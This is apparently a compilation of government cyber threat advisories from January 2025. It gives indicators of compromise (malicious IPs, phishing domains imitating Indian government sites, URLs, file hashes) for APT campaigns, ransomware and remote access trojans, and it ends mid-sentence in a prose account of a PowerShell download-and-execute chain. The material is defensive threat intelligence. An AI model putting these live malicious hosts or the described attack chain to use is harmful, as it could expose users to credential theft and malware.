**Cyber Security Advisories**

**Date: 15 January 2025**

1. **TA-APT-2025-01-02-001**

It has been observed that APT36 a.k.a. Transparent Tribe is deploying CrimsonRAT, a Remote Access Trojan (RAT) for cyber-espionage activities, particularly against government, defense, and military targets. CrimsonRAT allows attackers to remotely control infected systems, steal sensitive information, log keystrokes, capture screenshots, and exfiltrate data.

Common Features of APT36 Threat Actor:

Spear-Phishing (highly targeted and convincing phishing emails to trick victims)

Information Theft (documents, credentials, and personal data)

Remote Access

Credential Harvesting

Data Exfiltration

Persistence Mechanisms

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP:

209.145.52.172

Domains:-

sub172.duckdns.org

beycloud.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-01-02-001**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below malicious domains with their resolving IP's that are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

onlineppa.tn.gov.in.web-download.online

gov.in.web-download.online

web-download.online

\*.web-download.online

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-01-02-002**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The phishing email contains a HTML frame with the headline "Use Same Password". Upon clicking the hyperlink, "https://trackingservice.monday.com/tracker/link?" , it redirects on a URL "https://mail.homewarrantyplanreview.com/#indeftel@ iaf.nic.in which is a phishing mail. This URL is detected by the Firefox and Chrome browsers as a dangerous site. The domain is hosted on a malicious IP address which is currently actively compromising the user credentials/propagating malware payload.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

URL:-

https://trackingservice.monday.com/tracker/link?

https://mail.homewarrantyplanreview.com/#indeftel@iaf.nic.in

Domain:-

mail.homewarrantyplanreview.com

Monday.com

IPs:-

3.163.189.9

104.21.74.116

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-01-02-003**

Spear-phishing is a highly targeted cyber-attack technique where malicious emails are crafted to appear legitimate and deceive specific individuals or organizations. Unlike generic phishing campaigns, spear-phishing emails are tailored using personal or organizational details, making them more convincing and harder to detect. Once the victim interacts with the email, the attacker often deploys malware that establishes deep persistence within the compromised system and network.

How Malware Spreads via Spear-Phishing Emails?

* Malicious Attachments: The email may include files that appear harmless (e.g., invoices, reports) but contain malware payloads.
* Embedded Links: URLs that direct victims to malicious websites, leading to automatic malware downloads or credential harvesting.
* Execution of Malware: Once executed, the malware begins to collect information, escalate privileges, and establish communication with the attacker’s Command and Control (C2) server.
* Establishing Deep Persistence: Registry Modifications, Scheduled Tasks, Windows service, Cron jobs on linux machines.

Prevention Methodology

1. Avoid Clicking on Spear-Phishing Emails

> What needs to be Checked:

   >> Unexpected Requests: Emails asking for urgent action, such as fund transfers or sharing sensitive information.

   >> Suspicious Sender Addresses: Look for slight misspellings or inconsistencies in the sender’s email address.

   >> Unusual Attachments or Links: Be wary of unexpected file formats or shortened URLs.

> What needs to be Done:

   >> Hover over links to view the actual URL before clicking.

   >> Verify the email sender by contacting them through known, official channels.

   >> Report suspected phishing emails to your organization’s IT or security team.

2. Unhide File Extensions

  > Many spear-phishing attacks use hidden file extensions to disguise malware (e.g., report. pdf. exe may appear as report. pdf).

  > How to Unhide Extensions:

   >> On Windows:

      Open File Explorer.

      Click on the View tab in the ribbon menu.

      Check the box for File name extensions. This will display extensions for all files.

   >> On macOS:

      Open Finder.

      Go to Finder Preferences.

      Under the Advanced tab, check the option for Show all filename extensions.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:-**

updates.biossysinternal.com

biossysinternal.com

\*.biossysinternal.com

egovservice.in

**Hashes:-**

55a498a344aa07756ac834528d1c208d8051232e

b22f0923d8675131dd3bb12a10813db9dccdcfda

73e20089de1d25d44cfc9db4b3076eba0e90c48a

a5bf390da990cb962ff046b1cecc76d76815fc5f

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-02-001**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Addresses:**

103.210.94.143

31.220.1.144

27.47.1.7

103.149.87.69

134.122.134.5

112.94.99.224

103.42.243.6

8.213.42.34

120.85.183.210

223.155.210.154

27.111.75.115

112.94.96.93

120.85.112.107

115.202.202.202

120.85.117.167

113.65.212.253

27.111.75.245

26.77.178.64

103.210.94.17

120.85.118.42

103.210.94.12

112.94.97.254

61.10.103.72

77.239.217.170

103.203.72.68

149.255.13.97

59.95.92.68

103.210.93.193

103.199.180.244

103.199.200.144

120.85.92.64

77.239.220.97

77.239.216.120

120.85.119.96

102.212.40.139

103.151.46.131

59.95.81.84

27.111.75.112

103.199.202.161

120.85.116.110

117.213.186.34

59.89.70.189

45.164.177.226

220.198.240.150

103.210.94.102

103.210.94.101

118.239.4.136

27.43.206.185

202.148.59.35

120.85.182.227

120.85.183.232

112.94.97.8

103.210.93.51

120.85.184.26

220.158.159.251

102.212.40.117

77.239.216.29

120.85.119.204

113.220.27.149

77.239.213.244

223.149.176.197

27.43.204.121

120.85.117.124

120.85.114.178

120.85.114.84

117.209.40.245

**URLs:-**

http://117.242.237.28:41980/

http://42.235.23.237:60730/

http://103.210.93.28:46310/

http://45.230.66.29:11043/

http://42.227.238.42:58761/

http://61.54.253.190:44795/

http://59.182.107.139:38775/

http://117.199.181.150:34811/

http://45.164.177.184:11517/

http://115.55.55.197:45681/

http://220.158.159.38:48983/

http://182.126.80.90:36024/

http://59.97.121.43:58499/

http://103.210.93.110:46393/

http://115.48.152.224:42498/

http://117.199.7.130:47920/

http://117.209.94.204:42696/

http://120.61.194.147:47373/

http://162.191.13.67:60939/

http://117.235.78.161:38936/

http://59.183.131.102:60556/

http://45.230.66.41:11345/

http://192.111.100.243:52803/

http://178.92.207.90:40504/

http://42.55.97.34:34115/

http://115.55.195.41:49985/

http://45.164.177.109:11278/

http://219.157.247.10:51586/

http://61.53.123.10:52627/

http://112.113.124.67:41494/

http://103.124.138.115:37018/

http://119.184.20.40:55024/

http://45.164.177.96:10359/

http://121.238.199.237:57428/

http://42.224.174.157:53760/

http://45.115.89.250:34012/

http://117.200.92.135:50691/

http://103.197.113.95:42185/

http://125.42.29.234:59429/

http://183.35.50.30:52460/

http://220.152.171.5:40683/

http://221.203.133.23:55255/

http://120.61.196.46:42438/

http://118.248.74.0:43869/

http://200.81.52.135:48679/

http://45.230.66.15:10634/

http://123.245.60.22:32927/

http://59.88.3.18:52271/

http://59.178.155.118:36909/

http://112.252.127.111:44554/

http://103.210.101.61:59060/

http://103.15.252.25:53360/

http://117.255.159.158:43288/

http://123.11.2.134:36385/

http://59.183.142.77:60556/

http://27.217.129.118:51707/

http://175.107.0.141:33262/

http://117.209.30.32:47706/

http://61.0.185.17:48620/

http://221.203.202.204:59732/

http://61.0.38.148:45433/

http://223.68.142.178:58187/

http://182.116.52.223:56323/

http://59.95.83.166:58130/

http://78.70.82.206:58447/

http://117.211.226.235:47553/

http://182.113.204.132:43334/

http://123.156.48.146:56120/

http://115.49.235.208:37936/

http://221.1.224.122:36954/

http://117.206.25.205:35366/

http://175.107.0.134:50674/

http://24.25.141.252:37270/

http://45.164.177.252:11613/

http://45.164.177.192:11544/

http://182.119.227.37:36345/

http://103.197.115.245:40058/

http://45.164.177.224:10531/

http://45.164.177.188:11545/

http://192.15.10.172:33199/

http://59.184.240.243:57936/

http://175.107.3.200:57969/

http://149.255.15.30:33421/

http://60.161.22.250:33019/

http://110.183.54.224:52314/

http://112.248.141.75:41266/

http://117.235.126.42:52380/

http://59.88.153.222:54366/

http://103.203.72.173:44830/

http://117.253.160.176:43040/

http://219.157.10.181:57147/

http://117.199.145.163:55210/

http://59.89.7.114:52398/

http://220.158.159.246:48775/

http://139.5.0.172:43461/

http://175.107.0.148:38121/

http://182.117.79.187:35272/

http://42.242.164.236:59481/

http://117.253.169.5:38467/

http://223.8.238.220:55253/

http://136.37.71.110:59679/

http://180.108.157.187:39133/

http://120.61.241.1:53746/

http://186.89.225.223:34592/

http://117.192.239.152:36723/

http://103.43.5.253:58994/

http://122.156.143.62:40541/

http://59.97.250.89:52998/

http://79.170.24.210:50325/

http://222.142.238.246:46710/

http://117.222.252.238:33082/

http://59.183.113.175:46682/

http://45.178.250.208:10501/

http://45.164.177.141:11808/

http://192.21.160.241:33651/

http://182.122.232.194:46867/

http://182.120.130.242:60199/

http://152.252.89.130:54991/

http://117.89.252.114:36703/

http://117.209.19.221:52720/

http://117.192.34.59:55483/

http://110.182.66.31:33721/

http://103.210.93.175:41065/

http://103.199.202.29:39248/

http://103.199.200.160:52737/

http://103.199.191.89:48995/

http://115.52.239.253:37356/

http://114.227.26.246:32866/

http://39.74.38.246:54098/

http://117.209.47.218:44447/

http://45.164.177.250:11011/

http://123.129.154.116:41266/

http://182.126.123.47:55700/

http://113.238.14.204:41069/

http://117.209.34.111:51253/

http://123.14.35.107:40507/

http://45.164.177.246:11184/

http://45.115.89.75:43041/

http://27.208.167.52:54008/

http://117.209.86.238:41508/

http://117.211.211.124:57861/

http://45.164.177.195:11832/

http://113.26.86.43:53408/

http://103.199.191.86:43031/

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **TA-PHI-2025-01-03-003**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below malicious domains that are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

mail-section.in

edisha.gov.in.vlew.tech

gov.in.8thpaycomission.cloud

gov.in.vlew.tech

www.cgda.gov.in.8thpaycomission.cloud

www.edisha.gov.in.vlew.tech

\*.8thpaycomission.cloud

\*.vlew.tech

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2025-01-03-001**

Microsoft released updates to address multiple vulnerabilities in its products for the month of Dec 2024. However, Microsoft provides patch information in the form of Knowledge Base (KB) Articles that are associated with one or more CVEs.

Please find below link for the monthly CVE - KB Correlation list of Dec 2024 for your perusal and necessary action.

https://www.nciipc.gov.in/advisories/CVE/CVE-KB/2024/Dec.html

The list consists of 72 CVEs and their corresponding KBs for the month of Dec 2024.

1. **VA-2025-01-03-002**

Please find attached pdf of the Prominent Vulnerability List, which comprises a list of vulnerabilities present in cyberspace recently along with affected products, vulnerability descriptions and intimating availability of patches.

File Name: Prominent Vulnerability List.pdf

SHA1: 6336d6e5e7f5708445f709e9ca32b39f7f5b5f28

1. **TA-APT-2025-01-03-002**

It has been observed that Salt Typhoon, also known as Earth Estries, FamousSparrow, GhostEmperor, and UNC2286, is deploying GhostSpider backdoor malware for its cyber espionage campaigns. Adversary primarily targets the telecommunications, government and technology sectors. The GhostSpider malware is specifically engineered to infiltrate telecommunications networks. This tool provides persistent access to compromised systems, enabling prolonged surveillance and data extraction.

**Adversary is exploiting the following CVEs in their campaigns:**

* CVE-2023-46805, CVE-2024-21887 (Ivanti Connect Secure VPN)
* CVE-2023-48788 (Fortinet FortiClient EMS)
* CVE-2022-3236 (Sophos Firewall)
* CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065 (Microsoft Exchange – ProxyLogon)

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hashes:**

CD2B703E1B7CFD6C552406F44EC05480209003789AD4FBBA4D4CFFD4F104B0A0

0EAA67FE81CEC0A41CD42866DF1223CB7D2B5659AB295DFFE64FE9C3B76720AA

E6F9756613345FD01BBCF28EBA15D52705EF4D144C275B8CFE868A5D28C24140

C7023183E815B9AFF68D3EBA6C2CA105DBE0A9B05CD209908DCEE907A64CE80B

1A9E0C7C88E7A8B065EC88809187F67D920E7845350D94098645E592EC5534F6

EFB98B8F882AC84332E7DFDC996A081D1C5E6189AD726F8F8AFEC5D36A20A730

8476AD68CE54B458217AB165D66A899D764EAE3AD30196F35D2FF20D3F398523

DFF1D282E754F378EF00FB6EBE9944FEE6607D9EE24EC3CA643DA27F27520AC3

42D4EB7F04111631891379C5CCE55480D2D9D2EF8FEAF1075E1AED0C52DF4BB9

45B9204CCBAD92E4E5FB9E31AAB683EB5221EB5F5688B1AAE98D9C0F1C920227

98E250BC06DE38050FDEAB9B1E2EF7E4D8C401B33FD5478F3B85197112858F4E

B1BC10FA25A4FD5AE7948C6523EB975BE8D0F52D1572C57A7EF736134B996586

49A0349DFA79B211FC2C5753A9B87F8CD2E9A42E55ECA6F350F30C60DE2866CE

71A503B5B6EC8321346BEE3F6129AF0B8AD490A36092488D085085CDC0FC6B9D

28109C650DF5481C3997B720BF8CE09E7472D9CDB3F02DD844783FD2B1400C72

A8DD0CA6151000DE33335F48A832D24412DE13CE05EA6F279BF4AAAA2E5AAECB

DEAA3143814C6FE9279E8BC0706DF22D63EF197AF980D8FEAE9A8468F441EFEC

B6481E0EDC36A0472AB0CE7D0817F1773C4AF9307AE60890A667930558A762FF

EEB3D2E87D343B2ACF6BC8E4E4122D76A9AD200AE52340C61E537A80666705ED

4B014891DF3348A76750563AE10B70721E028381F3964930D2DD49B9597FFAC3

2531891691EF674345F098EF18B274091ACDF3F2808CCA753674599C043CCD7D

C59E17806E3A58792F07662B4985119252C8221688084D20B599699BFDB272D8

E1A7E5F27362AAF0D12B58B96A816EF61A2A498DEF9805297AA81F6F83729230

CA6713BEDBD19C2AD560700B41774825615B0FE80BF61751177FFBC26C77AA30

CDADAD8D7CED1370BAA5D1FFE435BED78C2D58ED4CDA364B8A7484E3C7CDAC98

82F3384723B21F9A928029BB3EE116F9ADBC4F7EC66D5A856E817C3DC16D149D

415E0893CE227464FB29D76E0500C518935D11379D17FB14EFFAEF82E962FF76

F6223D956DF81DCB6135C6CE00EE14D0EFEDE9FB399B56D2EE95B7B0538FE12C

23DEA3A74E3FF6A367754D02466DB4C86FFDA47EFE09529D3AAD52B0D5694B30

25B9FDEF3061C7DFEA744830774CA0E289DBA7C14BE85F0D4695D382763B409B

2B5E7B17FC6E684FF026DF3241AF4A651FC2B55CA62F8F1F7E34AC8303DB9A31

44EA2E85EA6CFFBA66F5928768C1EE401F3A6D6CD2A04E0D681D695F93CC5A1F

6D64643C044FE534DBB2C1158409138FCDED757E550C6F79EADA15E69A7865BC

8DF9FA495892FC3D183917162746EF8FD9E438FF0D639264236DB553B09629DC

B63C82FC37F0E9C586D07B96D70FF802D4B707FFB2D59146CF7D7BB922C52E7E

23E228D5603B4802398B2E7419187AEF71FF9DD5

2560B7E28B322BB7A56D0B1DA1B2652E1EFE76EA

311D1D50673FBFC40B84D94239CD4FA784269465

3650899C669986E5F4363FDBD6CF5B78A6FCD484

4DF896624695EA2780552E9EA3C40661DC84EFC8

76C430B55F180A85F4E1A1E40E4A2EA37DB97599

7C809B4866086EF7FB1AB722F94DF5AF493B80DB

873F98CAF234C3A8A9DB18343DAD7B42117E85D4

B9601E60F87545441BF8579B2F62668C56507F4A

BB2F5B573AC7A761015DAAD0B7FF03B294DC60F6

C36ECD2E0F38294E1290F4B9B36F602167E33614

E2B0851E2E281CC7BCA3D6D9B2FA0C4B7AC5A02B

FDC44057E87D7C350E6DF84BB72541236A770BA2

012862165EC105A44FEA14FACE53492F

0A7390A687F949D0A3CDF2926449018B

0B9AE998423A207F021F8E61B93BC849

0BBFBA106FBB9E310330DC87C32CB6D1

103E4C2E4EE558D130C8B59BFD66B4FB

145FF08E736693D522F8A09C8D3405D6

149A9E24DBE347C4AF2DE8D135AA4B76

18BE25AB5592329858965BEDFCC105AF

1BC301AA9B861F762CE5F376228E992A

1DD03936BAF0FE95B7E5B54A9DD4A577

24E9870973CEA42E6FAF705B14208E52

27C558BD42744CDDC9EDB3FA597D0510

2B8EE4D70B8A47EB98B63AEDD543EBA4

2C7EBD103514018BAD223F25026D4DB3

2DD0885F84B890883A396030DB841D28

3B7721715B2842CDFF0AB72BD605A0CE

3F15C4431AD4573344AD56E8384EBD62

42097A09CD3420FD7168BA1AFC84939E

475AA86AE60C640EEC4FDEA93B5ED04D

48E9CDFF28E944A6B1A20214CBBC126F

4F950683F333F5ED779D70EB38CDADCF

6685323C61D8EDB4A6E35796AF34D626

6A44FDD66AB841C33949620666CA847A

7394229455151A9CD036383027A1536B

78B47DDA664545542ED3ABE17400C354

7A162C26D56B0C55E6CD81CD953F510B

868B8A5012E0EB9A48D2DAF7CB7A5D87

8A900F742D0E3CD3898F37DBC3D6E054

96F5312281777E9CC912D5B2D09E6132

A213873EB55DC092DDF3ADBEB242BD44

BE38D173E4E9118BDC2E83FD5F90BE3B

C10643B3FB304972C650E593B69FAAA1

DD7593E9BA80502505C958B9BBBF2838

E0D9215F64805E0BFF03F4DC796FE52E

E845563BA35E8D227152165B0C3E769F

F078AC9B012C503D35254AF9629D3B67

F4A30F84EB754A21B4D200300A4C7ABB

FCA94B8B718357143C53620C6B360470

FD8382EFB0A16225896D584DA56C182C

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-01-07-004**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The phishing email contains the attachment files named "Meeting Convened by Defence Secy dated 23 Dec.pdf" & "Do Letter Dept of Defence Urgent Dated 24 December.pdf" and "26 Dec 2024 ltr by DG DGAQA.pdf". Upon clicking these files, it redirects to malicious link and opens a phishing page of NIC login page and seeks for username and password. The IP addresses, URL and domain are malicious and currently active in compromising user credentials and propagating malware payloads.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**URL:-**

https://email.gov.in.indiandefence.link/service/home/?auth=co&id=34528&filename=National%20of%20Information%20Cyberdefence%20Maya&charset=UTF-8

**Domain:-**

IndianDefence.link

**IPs:-**

45.141.59.78

79.135.105.3

45.202.35.172

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-01-08-005**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below malicious domains that are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

jkpolice.gov.in.aboutcase.nl

mail.aboutcase.nl

webdisk.aboutcase.nl

whm.aboutcase.nl

www.jkpolice.gov.in.aboutcase.nl

indianoil.site

www.hpcl.io

mumbaipolice.gov.in.expertdigitalit.com

ww38.indian-army.site

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-01-08-001**

BEAST ransomware also known as Monster ransomware,a Ransomware as a Service (RaaS) has been designed to target multiple operating systems, including Windows, Linux, and VMware ESXi servers etc. The ransomware encrypts files and extort ransom payments, typically offering a unique decryption key for each infected machine.

Distribution Method:

The BEAST ransomware for Linux encrypts data in segments and employs robust encryption techniques like ECC, AES, and ChaCha. It can use many threads to encrypt files simultaneously. Every compromised computer is assigned a distinct ID and decryption key. It has two modes: Zip Wrap Mode, which encrypts files in ZIP packages to evade antivirus detection, and Normal Mode, which renames files and includes a ransom note. Command-line options for routes, functions, and external notes allow for customization. It also operates in daemon mode and shuts down virtual computers.

Tactics, Techniques, and Procedures (TTPs):

T1587 (Develop Capabilities)

T1543 (Create or Modify System Process)

T1543.004 (Launch Daemon)

T1497.001 (System Checks)

T1497.003 (Time Based Evasion)

T1614 (System Location Discovery)

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

HASH

66f86812a6593cdd760cd2119f8bf1a76f33a1b56ab099edc02de7b0629ea15d

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-10-002**

Mythic malware, an advanced, customizable Command and Control (C2) framework, primarily used by adversaries to control and manage malware operations. Malware is a free-to-use, open-source tool which provides cross-platform payload creation options (Linux, macOS, and Windows). With 'plug-n-play' functionality for its various (also open-source) agents, e.g. Apollo (Windows), Poseidon (Linux, macOS), Bloodhound etc., the malware is known for its flexibility. This allows attackers to deploy various plugins and modules tailored to specific objectives.

Common Features of Mythic Malware:

Persistence

Remote access and data theft

Modular architecture and customizable

Stealth techniques to avoid detection by security software

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP:

5.230.41.90

Domain:

ntp-pool.site

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2025-01-10-003**

Please find attached pdf of the Prominent Vulnerability List, which comprises a list of vulnerabilities present in cyberspace recently along with affected products, vulnerability descriptions and intimating availability of patches.

File Name: Prominent Vulnerability List.pdf

SHA256: 0c6e39accd083c93688b696202cc20529604cdc75fd0f847463115e6f721d2a4

1. **TA-PHI-2025-01-10-006**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below malicious domains that are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

bihar.aoth.xyz

biharresult.aoth.xyz

coalindia-app.com

dsde.goa.gov.inc

ebanking.indiapospzt.gov.inc

eprocure.gov.in.w3lookup.net

evisa.gov.inc

fancy.parivahan.gov.inc

gov.in.farmarlife.com

gov.in.veiw.xyz

gov.in.w3lookup.net

gov.indexp.site

i4c.mha.gov.in.farmarlife.com

iocl.cloud

media.evisa.gov.inc

media.visa.gov.inc

pmkisan.gov.inc

result.aoth.xyz

rms.indianrail.gov.in.rrbgovresult.in

scholarship.up.gov.inc

statistics.evisa.gov.inc

statistics.visa.gov.inc

student.nielit.gov.inc

visa.gov.inc

vlew.tech.aoth.xyz

www.dc.crsorgi.gov.in.cphp.info

www.ebanking.indiapospzt.gov.inc

www.evisa.gov.inc

www.i4c.mha.gov.in.farmarlife.com

www.mahapolice.gov.in.farmarlife.com

www.visa.gov.inc

\*.aoth.xyz

\*.cphp.info

\*.crsorig-gov.info

\*.dclink.shop

\*.farmarlife.com

\*.gov.inc

\*.indexp.site

email.igov.ink

\*.igov.ink

email.gov.in.indiandefence.nl

gov.in.indiandefence.nl

in.indiandefence.nl

\*.indiandefence.nl

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-10-003**

It has been observed that a persistent campaign is leveraging NetSupport remote access trojan (RAT) to target multiple sectors. This campaign involves a malicious website tricking a user into initiating the execution of a harmful JavaScript script via “mshta.exe”, a Windows-native binary designed to execute Microsoft HTML Application (HTA) files. This script is designed to obfuscate and launch PowerShell commands that fetch and execute additional malicious PowerShell payloads. The attack progresses by flushing the DNS cache to cover its tracks, downloading and running NetSupport RAT, and finally establishing persistence on the system for extended abuse. The malicious HTML file was hosted at https[:]//holidaybunch.com/, with the obfuscated PowerShell downloading a PNG file from another URL, http[:]//traversecityspringbreak.com. This file was executed in memory via PowerShell’s Invoke Expression (IEX). The obfuscated PowerShell command executes a file from the internet. Once deobfuscated, the script calls the DownloadString method on the web client object to download the content from the specified URL (http[:]//patbunn.com/o/o.png)and immediately executes it as PowerShell code contained within o.png. This was determined to be an ancillary PowerShell script used to download NetSupport RAT into the users “AppData\Roaming” directory in a newly created folder with a random upper/lower case value with the hidden attribute. The script also creates a registry key under 